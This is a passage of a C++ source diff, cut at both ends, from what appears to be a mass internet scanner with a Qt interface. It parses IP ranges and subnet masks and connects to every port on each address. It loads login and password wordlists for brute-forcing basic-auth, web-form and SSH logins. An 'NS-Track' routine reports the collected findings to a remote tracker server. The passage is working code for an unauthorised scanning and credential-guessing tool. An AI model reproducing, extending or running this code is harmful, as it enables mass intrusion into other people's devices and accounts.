if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + if(gDebugMode) + { + stt->doEmitionDebugFoundData("Connecting to " + QString(ndbServer)); + }; + + if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == -1) + { + CSSOCKET(sock); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -connect() returned " + QString::number(WSAGetLastError()) + "."); +#pragma endregion + continue; + }; + + if(gDebugMode) + { + stt->doEmitionDebugFoundData("Sending!"); + stt->doEmitionDebugFoundData("Key: [" + QString(trcPersKey) + "]"); + stt->doEmitionDebugFoundData("MSG: [" + QString(msg) + "]"); + }; + + if(send(sock, msg, strlen(msg), 0) == -1) + { + CSSOCKET(sock); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -send() returned " + QString::number(WSAGetLastError()) + "."); +#pragma endregion + SaveErrorLog("NS-Track", msg, ""); + continue; + }; + + ZeroMemory(rBuffT, sizeof(rBuffT)); + char msgR[32] = {0}; + + if(gDebugMode) + { + stt->doEmitionDebugFoundData("Receiving..."); + }; + + test = recv(sock, rBuff, 512, 0); + + if(gDebugMode) + { + stt->doEmitionDebugFoundData("Received: " + QString(rBuff)); + }; + + strncpy(msgR, rBuff, 32); + strcpy(rBuffT, rBuff); + while(test > 0) + { + if(test <= 0) break; + + if(strlen(rBuffT) > 200000) + { + stt->doEmitionRedFoundData("[NS-Track] (Inner) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + "."); + SaveErrorLog("NS-Track", msg, rBuffT); + break; + }; + strcat(rBuffT, rBuff); + test = recv(sock, rBuff, 512, 0); + if(gDebugMode) + { + stt->doEmitionDebugFoundData("Received: " + QString(rBuff)); + }; + }; + + if(test == -1) + { + CSSOCKET(sock); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[NS-Track] -recv() returned " + QString::number(WSAGetLastError()) + "."); +#pragma endregion + SaveErrorLog("NS-Track", msg, ""); + continue; + }; + + if(strstr(rBuffT, "201 Created") != NULL) + { +#pragma region QTGUI_Area + if(gDebugMode) stt->doEmitionYellowFoundData("[NS-Track] -OK. Data saved!"); + stt->doEmitionDataSaved(true); + Sleep(1000); + stt->doEmitionDataSaved(false); +#pragma endregion + } + else if(strstr(rBuffT, "400 Bad Request") != NULL) + { +#pragma region QTGUI_Area + QString errorDef = GetNSErrorDefinition(rBuffT, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + errorDef + "]"); +#pragma endregion + SaveErrorLog("NS-Track", msg, rBuffT); + } + else + { + stt->doEmitionYellowFoundData("[NS-Track] -FAIL! An error occured [" + QString(msgR) + "]"); + SaveErrorLog("NS-Track", msg, rBuffT); + }; + + ZeroMemory(msgR, sizeof(msgR)); + ZeroMemory(rBuffT, sizeof(rBuffT)); + ZeroMemory(msg, sizeof(msg)); + if(msg != NULL) + { + delete []msg; + msg = 0; + }; + + CSSOCKET(sock); + }; + Sleep(10000); + }; + } + else + { + CSSOCKET(sock); + + stt->doEmitionRedFoundData("[NS-Track] -Balancer replied with invalid string."); + SaveErrorLog("NS-Track", msg, rBuffT); + }; + + CSSOCKET(sock); + }; + trackAlreadyGoing = false; + }; +}; + +unsigned long int numOfIps(int ipsstart[], int ipsend[]) +{ + gTargets += 16777216 * (ipsend[0] - ipsstart[0]); + gTargets += 65536 * (ipsend[1] - ipsstart[1]); + gTargets += 256 * (ipsend[2] - ipsstart[2]); + gTargets += (ipsend[3] - ipsstart[3]); + gTargetsOverall = gTargets - 1; + + //unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3]; + //unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3]; + //unsigned long gTargets = ip2 - ip1; + + return gTargets; +}; +//#include +//#include +//#include +//#include +//char *GetHost(char *ip) +//{ +// char res[256] = {0}; +// adns_state ads = NULL; +// adns_init(&ads, adns_if_nosigpipe, 0); +// +// adns_query aquery = 0; +// adns_answer* answer = NULL; +// sockaddr_in sockAddr; +// sockAddr.sin_family = AF_INET; +// sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); +// +// adns_submit_reverse(ads, +// (struct sockaddr *)&sockAddr, +// (adns_rrtype)adns_r_ptr, +// (adns_queryflags)adns_qf_quoteok_anshost, +// NULL, +// &aquery); +// adns_wait(ads, &aquery, &answer, NULL); +// +// if(answer->status == adns_s_ok) +// { +// strncpy(res, (const char*)answer->rrs.bytes, 256); +// }; +// +// adns_finish(ads); +// //struct hostent *result; +// //unsigned long addr = inet_addr(ip); +// //result = gethostbyaddr((char*)&addr, sizeof(addr), AF_INET); +// return res; +// +//#pragma region Reverse-ip +// //struct hostent *result; +// //unsigned long addr = inet_addr(ip); +// //result = gethostbyaddr((char*)&addr, sizeof(addr), AF_INET); +// //char res[256] = {0}; +// +// //if( result == NULL ) +// //{ +// // strcpy(res, ""); +// //} +// //else +// //{ +// // if( result->h_name == NULL ) +// // { +// // strcpy(res, ""); +// // } +// // else +// // { +// // strcpy(res, "Hostname: "); +// // //if(result->h_length != NULL) strcat(res, std::to_string(result->h_length).c_str()); +// // //strcat(res, " "); +// // //if(result->h_name != NULL) strcat(res, (result->h_name)); +// // //strcat(res, ":"); +// // if(result->h_addr_list[0] != NULL) +// // { +// // int sz = strlen((result->h_addr_list[0] + 4)); +// // if(sz > 200) stt->doEmitionYellowFoundData("[LOL] Very long host detected [" + QString(ip) + "]"); +// // strncpy(res, (result->h_addr_list[0] + 4), sz < 256 ? sz : 256); +// // }; +// // }; +// //}; +//#pragma endregion +// +// return res; +//}; + +Connector con; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) +void _connect(void* ss) +#else +void *_connect(void* ss) +#endif +{ + ++ipCounter; + char ip[MAX_ADDR_LEN] = {0}; + strcpy(ip, ((sockstruct*)ss)->argv); + //char hostLog[256] = {0}; + //strcpy(hostLog, GetHost(ip)); + delete []ss; + + for(int i = 0; i <= overallPorts; ++i) + { + if(globalScanFlag == false) break; + if(con._ConnectToPort( ip, std::to_string(portArr[i]).c_str(), "" ) == -2) break; + }; + + ConDec(); +}; +void targetAndIPWriter(unsigned long int target, char *buff) +{ + char curIPBuff[256] = {0}, targetNPers[32] = {0}, dbuffer[32] = {0}; + strcpy(metaIPDNS, buff); + char b[32] = {0}; + sprintf(b, "%Lu", target); + strcpy(targetNPers, b); + strcpy(metaTargets, targetNPers); + if(gTargetsOverall != 0) sprintf(dbuffer, "%.1f", (100 - target/(double)gTargetsOverall * 100)); + else strcpy(dbuffer, "0"); + strcat(targetNPers, " ("); + strcat(targetNPers, dbuffer); + strcat(targetNPers, "%)"); + strcpy(metaPercent, dbuffer); + + strcpy(curIPBuff, "--->"); + strcat(curIPBuff, buff); + + #pragma region QTGUI_Area + stt->doEmitionIPRANGE(QString(curIPBuff)); + stt->doEmitionTargetsLeft(QString(targetNPers)); + #pragma endregion +}; +void _passLoginFapper() +{ + MaxLogin = 0; + MaxPass = 0; + + FILE *loginList; + FILE *passList; + + char buffFG[32] = {0}; + int i = 0; + + loginList = fopen("login.txt", "r"); + passList = fopen("pass.txt", "r"); + + if(passList != NULL && loginList != NULL) + { + while(fgets(buffFG, 32, loginList) != NULL) + { + MaxLogin++; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + while(fgets(buffFG, 32, passList) != NULL) + { + MaxPass++; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + rewind(loginList); + rewind(passList); + + loginLst = new char*[MaxLogin]; + passLst = new char*[MaxPass]; + + for(int j = 0; j < MaxLogin; j++) + { + loginLst[j] = new char[32]; + }; + + for(int j = 0; j < MaxPass; j++) + { + passLst[j] = new char[32]; + }; + + while(fgets(buffFG, 32, passList) != NULL) + { + memset(passLst[i], 0, strlen(buffFG) + 1); + + if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1); + else strncat(passLst[i++], buffFG, strlen(buffFG)); + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + #pragma region QTGUI_Area + stt->doEmitionGreenFoundData("Password list loaded (" + QString(std::to_string(MaxPass).c_str()) + " entries)"); + #pragma endregion + + i = 0; + + while(fgets(buffFG, 32, loginList) != NULL) + { + memset(loginLst[i], 0, strlen(buffFG) + 1); + + if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1); + else strncat(loginLst[i++], buffFG, strlen(buffFG)); + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + #pragma region QTGUI_Area + stt->doEmitionGreenFoundData("Login list loaded (" + QString(std::to_string(MaxLogin).c_str()) + " entries)"); + #pragma endregion + + fclose(loginList); + fclose(passList); + } + else + { + #pragma region QTGUI_Area + stt->doEmitionRedFoundData("No password/login list found"); + stt->doEmitionKillSttThread(); + #pragma endregion + }; + + MaxWFLogin = 0; + MaxWFPass = 0; + + FILE *wfLoginList; + FILE *wfPassList; + + ZeroMemory(buffFG, sizeof(buffFG)); + i = 0; + + wfLoginList = fopen("wflogin.txt", "r"); + wfPassList = fopen("wfpass.txt", "r"); + + if(wfPassList != NULL && wfLoginList != NULL) + { + while(fgets(buffFG, 32, wfLoginList) != NULL) + { + MaxWFLogin++; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + while(fgets(buffFG, 32, wfPassList) != NULL) + { + MaxWFPass++; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + rewind(wfLoginList); + rewind(wfPassList); + + wfLoginLst = new char*[MaxWFLogin]; + wfPassLst = new char*[MaxWFPass]; + + for(int j = 0; j < MaxWFLogin; j++) + { + wfLoginLst[j] = new char[32]; + }; + + for(int j = 0; j < MaxWFPass; j++) + { + wfPassLst[j] = new char[32]; + }; + + while(fgets(buffFG, 32, wfPassList) != NULL) + { + memset(wfPassLst[i], 0, strlen(buffFG) + 1); + + if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1); + else strncat(wfPassLst[i++], buffFG, strlen(buffFG)); + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + #pragma region QTGUI_Area + stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString(std::to_string(MaxWFPass).c_str()) + " entries)"); + #pragma endregion + + i = 0; + + while(fgets(buffFG, 32, wfLoginList) != NULL) + { + memset(wfLoginLst[i], 0, strlen(buffFG) + 1); + + if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1); + else strncat(wfLoginLst[i++], buffFG, strlen(buffFG)); + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + #pragma region QTGUI_Area + stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString(std::to_string(MaxWFLogin).c_str()) + " entries)"); + #pragma endregion + + fclose(wfLoginList); + fclose(wfLoginList); + } + else + { + #pragma region QTGUI_Area + stt->doEmitionRedFoundData("No password/login list found"); + stt->doEmitionKillSttThread(); + #pragma endregion + }; + +#pragma region SSHPASS + MaxSSHPass = 0; + + FILE *sshlpList; + + ZeroMemory(buffFG, sizeof(buffFG)); + i = 0; + + sshlpList = fopen("sshpass.txt", "r"); + + if(sshlpList != NULL) + { + while(fgets(buffFG, 32, sshlpList) != NULL) + { + ++MaxSSHPass; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + rewind(sshlpList); + + sshlpLst = new char*[MaxSSHPass]; + + for(int j = 0; j < MaxSSHPass; j++) + { + sshlpLst[j] = new char[32]; + }; + + while(fgets(buffFG, 32, sshlpList) != NULL) + { + memset(sshlpLst[i], 0, strlen(buffFG) + 1); + + if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1); + else strncat(sshlpLst[i++], buffFG, strlen(buffFG)); + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + #pragma region QTGUI_Area + stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString(std::to_string(MaxSSHPass).c_str()) + " entries)"); + #pragma endregion + + fclose(sshlpList); + } + else + { + #pragma region QTGUI_Area + stt->doEmitionRedFoundData("No password/login list found"); + stt->doEmitionKillSttThread(); + #pragma endregion + }; +#pragma endregion + + #pragma region QTGUI_Area + stt->doEmitionYellowFoundData("BA: ~" + QString(std::to_string(MaxLogin * MaxPass/gTimeOut/60).c_str()) + "; WF: ~" + QString(std::to_string(MaxWFLogin * MaxWFPass/gTimeOut/60).c_str()) + "; SSH: ~" + QString(std::to_string(MaxSSHPass/gTimeOut/60).c_str())); + #pragma endregion +}; +void ReadUTF8(FILE* nFile, char *cp) +{ + char buffFG[256] = {0}; + int i = 0; + GlobalNegativeSize = 0; + + if(nFile != NULL) + { + while(fgets((char*)buffFG, sizeof(buffFG), nFile) != NULL) + { + if(buffFG[0] != '#' && buffFG[0] != ' ' && buffFG[0] != '\n' && buffFG[0] != '\r' && strcmp(buffFG, "") != 0 && + ((buffFG[0] == '/' && buffFG[1] == '/') == false) && ((buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == 13 || buffFG[3] == 10 || buffFG[3] == '#')) == false) + && (buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == '/' && buffFG[4] == '/')) == false) + { + ++GlobalNegativeSize; + }; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + rewind(nFile); + if(strcmp(cp, "UTF") == 0) fseek(nFile, 3, 0); + + GlobalNegatives = new char*[GlobalNegativeSize + 2]; + + char buffcpy[256] = {0}; + while(fgets(buffFG, sizeof(buffFG), nFile) != NULL) + { + if(buffFG[0] == '#' || buffFG[0] == ' ' || buffFG[0] == '\n' || buffFG[0] == '\r' || strcmp(buffFG, "") == 0 || + (buffFG[0] == '/' && buffFG[1] == '/')) + { + ZeroMemory(buffFG, sizeof(buffFG)); + continue; + }; + + if(buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t') + { + char buffFGT[256] = {0}; + strcpy(buffFGT, buffFG); + char *ptr1 = strstr(buffFGT, "\t\t\t"); + ZeroMemory(buffFG, sizeof(buffFG)); + strcpy(buffFG, ptr1 + 3); + }; + + int bSz = strlen(buffFG); + if((bSz == 2 && buffFG[0] == 13 && buffFG[1] == 10) || (bSz == 1 && (buffFG[0] == 13 || buffFG[0] == 10))) + { + ZeroMemory(buffFG, sizeof(buffFG)); + continue; + }; + if(buffFG[bSz] == 13 || buffFG[bSz] == 10) + { + buffFG[bSz] = '\0'; + }; + if(buffFG[bSz - 1] == 13 || buffFG[bSz - 1] == 10) + { + buffFG[bSz - 1] = '\0'; + }; + if(buffFG[bSz - 2] == 13 || buffFG[bSz - 2] == 10) + { + buffFG[bSz - 2] = '\0'; + }; + + if(strstr((char*)buffFG, "\n") != 0) + { + std::string res = xcode(buffFG, CP_UTF8, CP_ACP); + int sz = res.size(); + GlobalNegatives[i] = new char[sz + 1]; + ZeroMemory(GlobalNegatives[i], sizeof(GlobalNegatives[i])); + memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz - 1); + memset(GlobalNegatives[i] + sz - 1, '\0', 1); + ++i; + } + else + { + std::string res = xcode(buffFG, CP_UTF8, CP_ACP); + int sz = res.size(); + GlobalNegatives[i] = new char[sz + 1]; + ZeroMemory(GlobalNegatives[i], sizeof(GlobalNegatives[i])); + memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz); + memset(GlobalNegatives[i] + sz, '\0', 1); + ++i; + }; + + unsigned char buffcpy2[256] = {0}; + int sz = strlen((char*)buffFG); +#ifdef WIN32 + strncpy((char*)buffcpy2, xcode(buffFG, CP_ACP, CP_UTF8).c_str(), sz); +#else + strncpy((char*)buffcpy2, buffFG, sz); +#endif + + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + #pragma region QTGUI_Area + stt->doEmitionGreenFoundData("Negative list loaded (" + QString::number(GlobalNegativeSize) + " entries)"); + #pragma endregion + ZeroMemory(buffFG, sizeof(buffFG)); + + fclose(nFile); + } + else + { + #pragma region QTGUI_Area + stt->doEmitionRedFoundData("No negative list found"); + stt->doEmitionKillSttThread(); + #pragma endregion + }; +} +#ifdef WIN32 +std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage) +{ + int wsize = MultiByteToWideChar(srcCodePage, 0, src, -1, 0, 0); + LPWSTR wbuf = (LPWSTR)new char[wsize * sizeof(WCHAR)]; + MultiByteToWideChar(srcCodePage, 0, src, -1, wbuf, wsize); + int size = WideCharToMultiByte(dstCodePage, 0, wbuf, -1, 0, 0, 0, 0); + char * buf = (char *)new char[size]; + WideCharToMultiByte(dstCodePage, 0, wbuf, -1, buf, size, 0, 0); + delete [] wbuf; + + std::string res; + res.append(buf); + delete [] buf; + return res; +} +#endif +void _NegativeFapper() +{ + FILE *nFile = fopen("negatives.txt", "rb"); + char buffFG[256] = {0}; + unsigned char buffcpy[256] = {0}; + + if( nFile != NULL) + { + unsigned char b[3] = {0}; + fread(b,1,2, nFile); + if( b[0] == 0xEF && b[1] == 0xBB) + { + fread(b,1,1,nFile); // 0xBF + ReadUTF8(nFile, "UTF"); + } + else + { + ReadUTF8(nFile, "1251"); + }; + } +}; +void CheckMaskBits(char *res, int index) +{ + char *bitsStr = strstr(res, "/"); + int bitsNum = atoi(bitsStr + 1); + int finalBit = 1; + int bitCounter = 0; + + if(bitsNum <= 32 && bitsNum > 24) //4 octet + { + bitCounter = 32 - bitsNum; + for(int i = 0; i < bitCounter; i++) finalBit *= 2; + ipsstartfl[index][0] = ipsendfl[index][0] = octet[0]; + ipsstartfl[index][1] = ipsendfl[index][1] = octet[1]; + ipsstartfl[index][2] = ipsendfl[index][2] = octet[2]; + ipsstartfl[index][3] = octet[3]; + ipsendfl[index][3] = octet[3] + finalBit - 1; + + } + else if(bitsNum <= 24 && bitsNum > 16) //3 octet + { + bitCounter = 24 - bitsNum; + for(int i = 0; i < bitCounter; i++) finalBit *= 2; + ipsstartfl[index][0] = ipsendfl[index][0] = octet[0]; + ipsstartfl[index][1] = ipsendfl[index][1] = octet[1]; + ipsstartfl[index][2] = octet[2]; + ipsendfl[index][2] = octet[2] + finalBit - 1; + ipsstartfl[index][3] = octet[3]; + ipsendfl[index][3] = 255; + } + else if(bitsNum <= 16 && bitsNum > 8) //2 octet + { + bitCounter = 16 - bitsNum; + for(int i = 0; i < bitCounter; i++) finalBit *= 2; + ipsstartfl[index][0] = ipsendfl[index][0] = octet[0]; + ipsstartfl[index][1] = octet[1]; + ipsendfl[index][1] = octet[1] + finalBit - 1; + ipsstartfl[index][2] = octet[2]; + ipsendfl[index][2] = 255; + ipsstartfl[index][3] = octet[3]; + ipsendfl[index][3] = 255; + + } + else if(bitsNum <= 8 && bitsNum > 0) //1 octet + { + bitCounter = 8 - bitsNum; + for(int i = 0; i < bitCounter; i++) finalBit *= 2; + ipsstartfl[index][0] = octet[0]; + ipsendfl[index][0] = octet[0] + finalBit - 1; + ipsstartfl[index][1] = octet[1]; + ipsendfl[index][1] = 255; + ipsstartfl[index][2] = octet[2]; + ipsendfl[index][2] = 255; + ipsstartfl[index][3] = octet[3]; + ipsendfl[index][3] = 255; + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[CheckMaskBits] Cannot parse IP list"); + stt->doEmitionKillSttThread(); +#pragma endregion + }; +}; +void GetOctets(char *curIP) +{ + char *str1; + char *str2; + char temp[8] = {0}; + + if(strstr(curIP, ".") != NULL) + { + str1 = strstr(curIP, "."); //1 + strncpy(temp, curIP, str1 - curIP); + octet[0] = atoi(temp); + + ZeroMemory(temp, sizeof(temp)); + } + else + { + str1 = strstr(curIP, "/"); + strncpy(temp, curIP, str1 - curIP); + + octet[0] = atoi(temp); + octet[1] = 0; + octet[2] = 0; + octet[3] = 0; + return; + }; + + if(strstr(str1 + 1, ".") != NULL) + { + str2 = strstr(str1 + 1, "."); //2 + strncpy(temp, str1 + 1, str2 - str1); + octet[1] = atoi(temp); + + ZeroMemory(temp, sizeof(temp)); + } + else + { + str2 = strstr(str1 + 1, "/"); + strncpy(temp, str1 + 1, str2 - str1); + + octet[1] = atoi(temp); + octet[2] = 0; + octet[3] = 0; + return; + }; + + if(strstr(str2 + 1, ".") != NULL) + { + str1 = strstr(str2 + 1, "."); //3 + strncpy(temp, str2 + 1, str1 - str2); + octet[2] = atoi(temp); + + ZeroMemory(temp, sizeof(temp)); + } + else + { + str1 = strstr(str2 + 1, "/"); + strncpy(temp, str2 + 1, str1 - str2); + + octet[2] = atoi(temp); + octet[3] = 0; + return; + }; + + if(strstr(str1 + 1, ".") != NULL) + { + str2 = strstr(str1 + 1, "."); //4 + strncpy(temp, str1 + 1, str2 - str1); + octet[3] = atoi(temp); + + ZeroMemory(temp, sizeof(temp)); + } + else + { + str2 = strstr(str1 + 1, "/"); + strncpy(temp, str1 + 1, str2 - str1 - 1); + + octet[3] = atoi(temp); + return; + }; +}; +int fInit(int InitMode, char *gR) +{ + strcpy(metaRange, gR); + if (InitMode == 0) + { + if(strstr(gR, "/") != NULL) + { + ++flCounter; + + char *str1; + char *str2; + char res[8] = {0}; + + GetOctets(gR); + + if(strstr(gR, ".") != NULL) + { + str1 = strstr(gR, "."); //1 byte + strncpy(res, gR, (int)((char*)str1 - gR)); + } + else strcpy(res, gR); + + if(strstr(res, "/") != NULL) + { + CheckMaskBits(res, flCounter); + } + else + { + starterIP[flCounter][0] = atoi(res); + ipsstartfl[flCounter][0] = atoi(res); + ipsendfl[flCounter][0] = atoi(res); + }; + ZeroMemory(res, sizeof(res)); + + if(strstr(str1 + 1, ".") != NULL) + { + str2 = strstr(str1 + 1, "."); //2 byte + strncpy(res, str1 + 1, (int)((char*)str2 - str1) - 1); + } + else strcpy(res, str1 + 1); + + if(strstr(res, "/") != NULL) + { + CheckMaskBits(res, flCounter); + } + else + { + starterIP[flCounter][1] = atoi(res); + ipsstartfl[flCounter][1] = atoi(res); + ipsendfl[flCounter][1] = atoi(res); + }; + + ZeroMemory(res, sizeof(res)); + + if(strstr(str2 + 1, ".") != NULL) + { + str1 = strstr(str2 + 1, "."); //3 byte + strncpy(res, str2 + 1, (int)((char*)str1 - str2) - 1); + } + else strcpy(res, str2 + 1); + + if(strstr(res, "/") != NULL) + { + CheckMaskBits(res, flCounter); + } + else + { + starterIP[flCounter][2] = atoi(res); + ipsstartfl[flCounter][2] = atoi(res); + ipsendfl[flCounter][2] = atoi(res); + }; + ZeroMemory(res, sizeof(res)); + + if(strstr(str1 + 1, ".") != NULL) + { + str2 = strstr(str1 + 1, "."); //4 byte + strncpy(res, str1 + 1, (int)((char*)str2 - str1) - 1); + } + else strcpy(res, str1 + 1); + + if(strstr(res, "/") != NULL) + { + CheckMaskBits(res, flCounter); + } + else + { + starterIP[flCounter][3] = atoi(res); + ipsstartfl[flCounter][3] = atoi(res); + ipsendfl[flCounter][3] = atoi(res); + }; + + ipsstart[0] = ipsstartfl[flCounter][0]; + ipsstart[1] = ipsstartfl[flCounter][1]; + ipsstart[2] = ipsstartfl[flCounter][2]; + ipsstart[3] = ipsstartfl[flCounter][3]; + + ipsend[0] = ipsendfl[flCounter][0]; + ipsend[1] = ipsendfl[flCounter][1]; + ipsend[2] = ipsendfl[flCounter][2]; + ipsend[3] = ipsendfl[flCounter][3]; + } + else + { + int x; + char des1[64] = {0}; + + for(int i = 0; i < 3; i++) //Filling the range-starting ip mass. + { + x = strcspn(gR, "."); + memcpy(des1, gR, x*sizeof(int)); + memset(gR, ' ', x + 1); + ipsstart[i] = atoi(des1); + ZeroMemory(des1, sizeof(des1)); + if(ipsstart[i] > 255) + { + stt->doEmitionRedFoundData("[Error] Incorrect range."); + stt->doEmitionKillSttThread(); + return -1; + }; + }; + + x = strcspn(gR, "-"); + if(strstr(gR, "-") == NULL) + { + stt->doEmitionRedFoundData("[Error] Incorrect range."); + stt->doEmitionKillSttThread(); + return -1; + }; + + memcpy(des1, gR, x); + ipsstart[3] = atoi(des1); + memset(gR, ' ', x + 1); + + if(strstr(gR, ".") == NULL) + { + stt->doEmitionRedFoundData("[Error] Incorrect range."); + stt->doEmitionKillSttThread(); + return -1; + }; + + for(int i = 0; i < 4; i++) //Filling the range-closing ip mass. + { + x = strcspn(gR, "."); + memcpy(des1, gR, x); + memset(gR, ' ', x + 1); + ipsend[i] = atoi(des1); + + if(ipsend[i] > 255) + { + stt->doEmitionRedFoundData("[Error] Incorrect range."); + stt->doEmitionKillSttThread(); + return -1; + }; + }; + + }; + if((ipsstart[0] > ipsend[0]) + || + ( + (ipsstart[0] >= ipsend[0]) && (ipsstart[1] > ipsend[1]) + ) || + ( + (ipsstart[0] >= ipsend[0]) && (ipsstart[1] >= ipsend[1]) && (ipsstart[2] > ipsend[2]) + ) || + ( + (ipsstart[0] >= ipsend[0]) && (ipsstart[1] >= ipsend[1]) && (ipsstart[2] >= ipsend[2]) && (ipsstart[3] > ipsend[3]) + ) + ) + { + stt->doEmitionRedFoundData("[Error] Incorrect range."); + stt->doEmitionKillSttThread(); + return -1; + }; + + targets = numOfIps(ipsstart, ipsend); + }; +}; +void FileLoader(char *str) +{ + char res[256] = {0}; + char curIP[256] = {0}, curIPCopy[256] = {0}; + char tempBuff[4] = {0}; + unsigned int importFileSize = 0; + + FILE *fl = fopen(str, "r"); + if(fl != NULL) + { + while(fgets((char*)curIP, sizeof(curIP), fl) != NULL) + { + if(curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 && + ((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false) + && (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false) + { + ++importFileSize; + }; + ZeroMemory(curIP, sizeof(curIP)); + }; + + ipsstartfl = new unsigned char*[importFileSize + 2]; + ipsendfl = new unsigned char*[importFileSize + 2]; + starterIP = new unsigned char*[importFileSize + 2]; + ZeroMemory(ipsstartfl, importFileSize); + ZeroMemory(ipsendfl, importFileSize); + ZeroMemory(starterIP, importFileSize); + for(int i = 0; i < importFileSize; ++i) + { + ipsstartfl[i] = new unsigned char[4]; + ipsendfl[i] = new unsigned char[4]; + starterIP[i] = new unsigned char[4]; + + ZeroMemory(ipsstartfl[i], 4); + ZeroMemory(ipsendfl[i], 4); + ZeroMemory(starterIP[i], 4); + }; + + rewind(fl); + + while(fgets(curIP, 256, fl) != NULL) + { + if(curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 && + ((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false) + && (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false) + { + strcpy(curIPCopy, curIP); + char *ptr1 = strstr(curIP, " "); + if(ptr1 != NULL) curIP[(int)(ptr1 - curIP)] = '\0'; + ptr1 = strstr(curIP, " "); + if(ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0'; + ptr1 = strstr(curIP, "#"); + if(ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0'; + if(strcmp(curIP, "") == 0 || strcmp(curIP, " ") == 0 || strcmp(curIP, "\r\n") == 0 || strcmp(curIP, "\n") == 0 || curIP[0] == ' ' || curIP[0] == '#') + { + ZeroMemory(curIPCopy, sizeof(curIPCopy)); + ZeroMemory(curIP, sizeof(curIP)); + continue; + }; + + if(strstr(curIP, "-") != NULL) + { + bool firstPart = true; + int offset = 0; + int curNIndex = 0; + char curS; + char curN[32] = {0}; + for(int i = 0; i < strlen(curIP); ++i) + { + curS = curIP[i]; + if(curS == '.') + { + if(firstPart) + { + starterIP[flCounter][offset] = atoi(curN); + ipsstartfl[flCounter][offset] = atoi(curN); + } + else ipsendfl[flCounter][offset] = atoi(curN); + ++offset; + curNIndex = 0; + ZeroMemory(curN, 32); + continue; + } + else if(curS == '-') + { + if(firstPart) + { + starterIP[flCounter][offset] = atoi(curN); + ipsstartfl[flCounter][offset] = atoi(curN); + } + else ipsendfl[flCounter][offset] = atoi(curN); + offset = 0; + firstPart = false; + curNIndex = 0; + ZeroMemory(curN, 32); + continue; + }; + curN[curNIndex++] = curS; + if(i == strlen(curIP) - 1) + { + ipsendfl[flCounter][offset] = atoi(curN); + }; + }; + + if(ipsstartfl[flCounter][0] > ipsendfl[flCounter][0] + || (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0] + && ipsstartfl[flCounter][1] > ipsendfl[flCounter][1] + ) + || (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0] + && ipsstartfl[flCounter][1] >= ipsendfl[flCounter][1] + && ipsstartfl[flCounter][2] > ipsendfl[flCounter][2] + ) + || 